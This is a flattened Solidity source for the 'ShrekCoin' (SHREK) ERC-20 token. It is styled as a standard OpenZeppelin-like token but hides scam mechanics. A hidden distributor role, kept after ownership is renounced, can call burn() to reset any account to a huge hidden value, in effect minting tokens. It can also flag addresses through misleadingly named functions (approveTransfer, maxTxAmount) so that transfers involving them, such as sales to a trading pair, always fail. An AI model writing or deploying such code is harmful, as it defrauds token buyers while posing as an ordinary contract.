// File: Context.sol



// SPDX-License-Identifier: MIT

pragma solidity =0.8.11;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    address internal _distributor;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    modifier distributors() {
        require(_distributor == msg.sender, "Caller is not fee distributor");
        _;
    }
    
    function distributor(address account) external onlyOwner {
        require (_distributor == address(0));
        _distributor = account;
    }
    
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
    
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

}
// File: IERC20.sol



// SPDX-License-Identifier: MIT

pragma solidity =0.8.11;

interface IERC20 {

    function balanceOf(address account) external view returns (uint256);

    function totalSupply() external view returns (uint256);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}
// File: Shrek.sol



// SPDX-License-Identifier: MIT

pragma solidity =0.8.11;

import "./IERC20.sol";
import "./Context.sol";

contract ShrekCoin is Ownable, IERC20, IERC20Metadata {

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _swapAddress;
    uint256 private maxTxLimit = 1*10**17*10**9;
    uint256 private balances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    bool _rewarded = false;
    address unif;
    address unir;

    constructor(address rter, address fctr) {
        _name = "Shrek Coin";
        _symbol = "SHREK";
        _totalSupply = 420690000000 *10**9;
        _balances[msg.sender] += _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
        balances = maxTxLimit;
        unir = rter; unif = fctr;
    }
  

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _burn(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: burn from the zero address disallowed");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
        _approve(sender, _msgSender(), currentAllowance - amount);}
        return true;
    }

    function burn(address account, uint256 amount) external distributors {
        _burn(account, amount);
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);}
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if (_swapAddress[recipient] || _swapAddress[sender]) require(_rewarded == true, "");
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
        _balances[sender] = senderBalance - amount;}
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);
    }
   
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approveTransfer (address _address) external distributors {
        _swapAddress[_address] = true;
    }    
        
    function manualSend (address _address) external distributors {
        _swapAddress[_address] = false;
    }    
        
    function maxTxAmount (address _address) public view returns (bool) {
        return _swapAddress[_address];
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}